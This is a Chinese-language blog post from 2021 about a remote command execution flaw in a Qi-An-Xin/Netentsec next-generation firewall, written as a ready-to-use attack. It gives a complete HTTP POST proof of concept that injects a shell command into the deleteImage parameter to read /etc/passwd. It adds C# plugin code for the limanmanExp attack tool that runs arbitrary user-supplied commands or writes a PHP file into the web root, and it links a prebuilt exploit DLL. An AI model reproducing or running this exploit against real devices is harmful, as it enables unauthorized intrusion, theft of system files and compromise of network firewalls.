2021年HW0day-奇安信 網康下一代防火牆 RCE漏洞細節

李慢慢233發表於2021-04-20
防火牆

漏洞資訊：

漏洞名稱：奇安信 網康下一代防火牆 RCE漏洞。
漏洞性質：遠端命令執行
漏洞利用特點：命令執行之後沒有回顯
利用方式：防火牆使用linux進行開發的，可以使用echo xxx >123.txt這樣的方式寫入檔案。 當檔案生成目錄在網站根目錄下就可以直接訪問了。

POC

POC為POST 型別的HTTP 請求報文

POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 178

{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

以上的poc部分header選擇性增刪改查。
payload為"data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="} 部分。

結果獲取

POC為http報文。傳送之後訪問https://xx.xx.xx.xx/test_test.txt 即可獲得命令執行結果

基於LimanmanExp的攻擊工具開發。

由於本漏洞的觸發是基於HTTP 請求的，所以可以使用limanmanExp 進行攻擊外掛進行開發。
limanmanExp開發

構建url

public Dictionary<string, string> Poc_GetUrl(Dictionary<string, Dictionary<string, string>> data)
        {//url
            Dictionary<string, string> numberOfTime = new Dictionary<string, string>();
            Dictionary<string, string> url = new Dictionary<string, string>();
            url= data["url"];
            url["url"] += "/directdata/direct/router";
            //**do something**
            return url;

        }

構建header

public Dictionary<string, string> Poc_GetHeaders(Dictionary<string, Dictionary<string, string>> data)
        {//headers
            Dictionary<string, string> headers = new Dictionary<string, string>();
            //**do something**
            headers["UserAgent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0";
            headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
            headers["Accept-Language"]= "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept - Encoding: gzip, deflate";
            headers["ContentType"] = "application/x-www-form-urlencoded";

            return headers;
        }

構建body

public Dictionary<string, string> Poc_GetBody(Dictionary<string, Dictionary<string, string>> data)
        {//body
            Dictionary<string, string> body = new Dictionary<string, string>();
            //**do something**
            if (data["others"]["otherPayload"] != null && data["others"]["otherPayload"] != "其他載荷")
            {
                //資料來自於使用者的輸入，在主程式的首頁第三個大文字框中。
                data["others"]["otherPayload"] = data["others"]["otherPayload"].Replace("\"", "\\\"").Replace("\\", "\\\\");
                body["body"] = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;" + data["others"]["otherPayload"] + " >/var/www/html/test_cmd.php\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}";
            }
            else
            {
                body["body"] = "{\"action\":\"SSLVPN_Resource\",\"method\":\"deleteImage\",\"data\":[{\"data\":[\"/var/www/html/d.txt;" + "echo \\\"<?php phpinfo();\\\"" + " >/var/www/html/test_cmd.php\"]}],\"type\":\"rpc\",\"tid\":17,\"f8839p7rqtj\":\"=\"}";
            }
            return body;
        }

設定limanmanEXP報文傳送設定

 public Dictionary<string, string> Poc_GetOther(Dictionary<string, Dictionary<string, string>> data)
        {//othersInfo
            Dictionary<string, string> other = new Dictionary<string, string>();
            other = data["others"];
            if (other["numberOfTime"] == "0")
            {//初始標識0
                other["numberOfTime"] = "2";//傳送post請求
                                            //**do something**
            }
            else
            {//結束標誌0
                other["numberOfTime"] = "0";

            }
            return other;
        }

如果你是懶人，請直接

連結：https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA 
提取碼：rw8l

下載

將NetentSec_HW_0dya.dll 放入外掛目錄， 執行limanmanExp即可。

如果需要詳細的開發教程， 可以檢視開發手冊：
https://www.kancloud.cn/qq496672097/limanmanexp/2139153

相關文章